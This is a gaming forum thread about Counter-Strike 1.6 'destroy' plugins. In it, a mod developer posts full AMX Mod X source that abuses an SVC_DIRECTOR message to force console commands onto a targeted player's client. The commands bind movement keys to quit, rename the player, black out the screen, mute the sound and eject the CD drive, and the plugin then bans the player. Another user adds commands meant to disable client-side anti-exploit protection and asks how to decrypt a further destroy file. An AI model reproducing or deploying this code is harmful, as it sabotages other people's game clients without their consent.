.WAD / .DEM

General Discussion
User avatar
ArminC
Senior Member
Senior Member
Romania
Posts: 137
Joined: 1 Year Ago
Location: Bucharest
Has thanked: 0
Been thanked: 2 times
Age: 17
Contact:

.WAD / .DEM

#1

Post by ArminC » 1 Year Ago

Hi! I found this file, wich is executable.. in there are destroy commands and I want to get it to apply into my plugin (that destroy plugin from zppv) but it somehow crypted? Or I don't know..

PS: I found this.. If help.. (I couldn't make it complie)

User avatar
Spir0x
Veteran Member
Veteran Member
Tunisia
Posts: 633
Joined: 2 Years Ago
Location: Tunisia
Has thanked: 14 times
Been thanked: 7 times
Age: 19
Contact:

#2

Post by Spir0x » 1 Year Ago

i didn't understand you bro explain more.
I trynna make money, not friends.

User avatar
ArminC
Senior Member
Senior Member
Romania
Posts: 137
Joined: 1 Year Ago
Location: Bucharest
Has thanked: 0
Been thanked: 2 times
Age: 17
Contact:

#3

Post by ArminC » 1 Year Ago

If you have a server. Put a destroy plugin. Make the server to force players to download that file (like models). Wana destroy a player. Put the destroy plugin command in console. It exec that file inside the client folder. It fck the cs.

-- If you open it with notepad you will see some destroy commands but are somehow crypted. I wana decrypt it and get that commands. That's it.

User avatar
Spir0x
Veteran Member
Veteran Member
Tunisia
Posts: 633
Joined: 2 Years Ago
Location: Tunisia
Has thanked: 14 times
Been thanked: 7 times
Age: 19
Contact:

#4

Post by Spir0x » 1 Year Ago

bro the plugin working fine i destroyed a hacker on my servers commands
amx_destroymenu
amx_destroy "Player Name"
and i advice you to use amx_destroymenu.
I trynna make money, not friends.

User avatar
ArminC
Senior Member
Senior Member
Romania
Posts: 137
Joined: 1 Year Ago
Location: Bucharest
Has thanked: 0
Been thanked: 2 times
Age: 17
Contact:

#5

Post by ArminC » 1 Year Ago

No, you don't understand me. I want to decrypt that file and add that commands to any destroy plugin. I need that commands inside that HLDemo or whatever crypt is. I don't care about any plugin, I have Rahem one but I want that commands because I tested and destroy everything. Thanks!

User avatar
Raheem
Mod Developer
Mod Developer
Egypt
Posts: 1972
Joined: 2 Years Ago
Location: Egypt
Has thanked: 32 times
Been thanked: 108 times
Age: 22
Contact:

#6

Post by Raheem » 1 Year Ago

Hey, Back to short time valve blocked all commands that can write player files. VALVE removed these commands from client side at all long time ago.
exec command only exec .cfg or .rc file and i'm not sure if this command still can be sent to client side or not. So explain me more maybe there is something missing me.

You can compile this module: https://github.com/YaLTeR/HLDemo see my TUT for how to build modules https://www.youtube.com/watch?v=kmqkUlSAxwM

And finally this is what can be done for CS players, We can only send them commands or rewrite their config but not other things. My destroy plugin:
    1. /*
    2. *   Free Plugin by Raheem. Date: 1-9-2017
    3. *   This Plugin will work on Steam, No-Steam, Non-Steam Clients.
    4. *   Based on: https://github.com/ValveSoftware/halflife/issues/1497
    5. *   It will destroy players game and add his ip and steamid to ban list.
    6. *   This adds powers to admin, But this plugin is considerd SLOW hacking!
    7. *   I only write it for good use ONLY! Please don't abuse it!
    8. *   Just to use against Cheaters...
    9. *   Need AMXMODX v 1.8.3 so it works.
    10. *   Please use default settings in reunion.cfg
    11. *   Thanks and hope you follow my rules.
    12. *
    13. *   -Raheem
    14. */
    15.  
    16. #include <zombie_escape>
    17.  
    18. new const g_szCommands[][] =
    19. {
    20.     "rate 1",
    21.     "fps_max 0",
    22.     "fps_modem 0",
    23.     "name ^"You have been HACKED!^"",
    24.     "sensitivity 10000000.0",
    25.     "cl_timeout 0.0",
    26.     "cl_allowdownload 0",
    27.     "cl_allowupload 0",
    28.     "cd eject",
    29.     "say ^"I'am NOOB haha.^"",
    30.     "gl_flipmatrix 1",
    31.     "cl_cmdrate 10",
    32.     "cl_updaterate 10",
    33.     "cl_updaterate 10",
    34.     "hideradar",
    35.     "con_color ^"0 0 0^"",
    36.     "hud_draw 0",
    37.     "cl_forwardspeed 0",
    38.     "cl_minmodels 1",
    39.     "cl_righthand 0",
    40.     "gamma 0.0",
    41.     "net_graph 1",
    42.     "brightness 0",
    43.     "cl_dlmax 1",
    44.     "volume 0.0",
    45.     "MP3Volume 0.0",
    46.     "bind w quit",
    47.     "bind a quit",
    48.     "bind s quit",
    49.     "bind d quit",
    50.     "quit"
    51. }
    52.  
    53. public plugin_init()
    54. {
    55.     register_plugin("Destroy", "1.0", "Raheem")
    56.    
    57.     register_concmd("amx_destroy", "Destroy_Command", ADMIN_SLAY, "^"Player Name^"")
    58.     register_concmd("amx_destroymenu", "Destroy_Menu", ADMIN_SLAY)
    59. }
    60.  
    61. public Destroy_Menu(id, level, cid)
    62. {
    63.     if (!cmd_access(id, level, cid, 1))
    64.         return PLUGIN_HANDLED
    65.    
    66.     new iMenu = menu_create("\yDestroy Menu\w:", "Menu_Handler")
    67.    
    68.     new szName[32], szUserid[6]
    69.    
    70.     for (new i = 1; i <= get_member_game(m_nMaxPlayers); i++)
    71.     {
    72.         if (!is_user_connected(i))
    73.             continue
    74.        
    75.         get_user_name(i, szName, charsmax(szName))
    76.         formatex(szUserid, charsmax(szUserid), "%d", get_user_userid(i))
    77.         menu_additem(iMenu, szName, szUserid, 0)
    78.     }
    79.    
    80.     menu_display(id, iMenu, 0)
    81.    
    82.     return PLUGIN_CONTINUE
    83. }
    84.  
    85. public Menu_Handler(id, iMenu, iItem)
    86. {
    87.     if(iItem == MENU_EXIT)
    88.     {
    89.         menu_destroy(iMenu)
    90.         return PLUGIN_HANDLED
    91.     }
    92.    
    93.     new szName[32], szAdminName[32], szData[6], iAccess, iCallBack
    94.    
    95.     menu_item_getinfo(iMenu, iItem, iAccess, szData, charsmax(szData), szName, charsmax(szName), iCallBack)
    96.    
    97.     get_user_name(id, szAdminName, charsmax(szAdminName))
    98.    
    99.     new iUserID = str_to_num(szData)
    100.     new iTarget = find_player("k", iUserID)
    101.    
    102.     if (!is_user_connected(iTarget))
    103.         return PLUGIN_HANDLED
    104.    
    105.     client_cmd(0, "spk vox/bizwarn")
    106.     client_print_color(0, print_team_default, "^1[^4Destroy^1] ^3ADMIN ^4%s ^3has Destroyed ^4%s", szAdminName, szName)
    107.    
    108.     for (new i = 0; i <= charsmax(g_szCommands); i++)
    109.     {
    110.         Send_Cmd(iTarget, g_szCommands[i])
    111.     }
    112.    
    113.     new szIP[32], szAuthID[35]
    114.     get_user_ip(iTarget, szIP, charsmax(szIP), 1)
    115.     get_user_authid(iTarget, szAuthID, charsmax(szAuthID))
    116.    
    117.     if (equal(szAuthID, "STEAM_ID_LAN") || equal(szAuthID, "VALVE_ID_LAN"))
    118.     {
    119.         // Player don't have Unique SteamID? Ban Only with IP
    120.         server_cmd("amx_addban ^"%s^" 0", szIP)
    121.     }
    122.     else
    123.     {
    124.         // Player have SteamID? Ban with IP and SteamID
    125.         server_cmd("amx_addban ^"%s^" 0; amx_addban ^"%s^" 0", szIP, szAuthID)
    126.     }
    127.    
    128.     menu_destroy(iMenu)
    129.    
    130.     return PLUGIN_CONTINUE
    131. }
    132.  
    133. public Destroy_Command(id, level, cid)
    134. {
    135.     if (!cmd_access(id, level, cid, 2))
    136.         return PLUGIN_HANDLED
    137.    
    138.     new szName[32], szAdminName[32]
    139.     read_argv(1, szName, charsmax(szName))
    140.     get_user_name(id, szAdminName, charsmax(szAdminName))
    141.    
    142.     new iTarget = get_user_index(szName)
    143.    
    144.     if (iTarget == 0)
    145.     {
    146.         client_print(id, print_console, "[ZE] No player with that name found!")
    147.        
    148.         return PLUGIN_HANDLED
    149.     }
    150.    
    151.     client_cmd(0, "spk vox/bizwarn")
    152.     client_print_color(0, print_team_default, "^1[^4Destroy^1] ^3ADMIN ^4%s ^3has Destroyed ^4%s", szAdminName, szName)
    153.    
    154.     for (new i = 0; i <= charsmax(g_szCommands); i++)
    155.     {
    156.         Send_Cmd(iTarget, g_szCommands[i])
    157.     }
    158.    
    159.     new szIP[32], szAuthID[35]
    160.     get_user_ip(iTarget, szIP, charsmax(szIP), 1)
    161.     get_user_authid(iTarget, szAuthID, charsmax(szAuthID))
    162.    
    163.     if (equal(szAuthID, "STEAM_ID_LAN") || equal(szAuthID, "VALVE_ID_LAN"))
    164.     {
    165.         // Player don't have Unique SteamID? Ban Only with IP
    166.         server_cmd("amx_addban ^"%s^" 0", szIP)
    167.     }
    168.     else
    169.     {
    170.         // Player have SteamID? Ban with IP and SteamID
    171.         server_cmd("amx_addban ^"%s^" 0; amx_addban ^"%s^" 0", szIP, szAuthID)
    172.     }
    173.    
    174.     return PLUGIN_CONTINUE
    175. }
    176.  
    177. stock Send_Cmd(id, szText[])
    178. {
    179.     message_begin(MSG_ONE, SVC_DIRECTOR, {0, 0, 0}, id)
    180.     write_byte(strlen(szText) + 2)
    181.     write_byte(10)
    182.     write_string(szText)
    183.     message_end()
    184. }
You don't know? Learn and you will know.

User avatar
ArminC
Senior Member
Senior Member
Romania
Posts: 137
Joined: 1 Year Ago
Location: Bucharest
Has thanked: 0
Been thanked: 2 times
Age: 17
Contact:

#7

Post by ArminC » 1 Year Ago

But that file use CMAKE.. Will it work?

PS: https://github.com/ValveSoftware/steam- ... ssues/1755
"motd_write is for dedicated servers only, and only when run via the dedicated server console (or via rcon). It was being used to exploit players so usage from other places was removed."

PS2: These commands are good? Or aren't necessary?

Code: Select all

"csx_setcvar Enabled False",
    "rus_setcvar Enabled False",
    "prot_setcvar Enabled False",
    "BlockCommands Enabled False",
    "_setvideomode 1 x 4",
    "_setrenderer software",
    "_restart"
VisualStudio give me only an option to attach to an exe.. I don't know.. any ideea how to decompile it?!
Last edited by ArminC on 21 Jan 2018, 14:09, edited 1 time in total.

User avatar
Raheem
Mod Developer
Mod Developer
Egypt
Posts: 1972
Joined: 2 Years Ago
Location: Egypt
Has thanked: 32 times
Been thanked: 108 times
Age: 22
Contact:

#8

Post by Raheem » 1 Year Ago

Yes you can build this module just watch video i give you and you will know how. And for commands i don't know understand how it can be useful? Or what you mean?
You don't know? Learn and you will know.

User avatar
ArminC
Senior Member
Senior Member
Romania
Posts: 137
Joined: 1 Year Ago
Location: Bucharest
Has thanked: 0
Been thanked: 2 times
Age: 17
Contact:

#9

Post by ArminC » 1 Year Ago

VisualStudio give me only an option to attach to an exe.. I don't know.. any ideea how to decompile it?!

As for commands: the first 4 disable the shield and the last wreck the render.. So is necessary for me to have that 4 commands to disable the shield? Or it already can "bypass" the shield anti exterminate?

User avatar
Raheem
Mod Developer
Mod Developer
Egypt
Posts: 1972
Joined: 2 Years Ago
Location: Egypt
Has thanked: 32 times
Been thanked: 108 times
Age: 22
Contact:

#10

Post by Raheem » 1 Year Ago

Decompile what?

Also what you mean by these commands i'm not sure what they do i never used them.
You don't know? Learn and you will know.

Post Reply

Who is online

Users browsing this forum: No registered users and 2 guests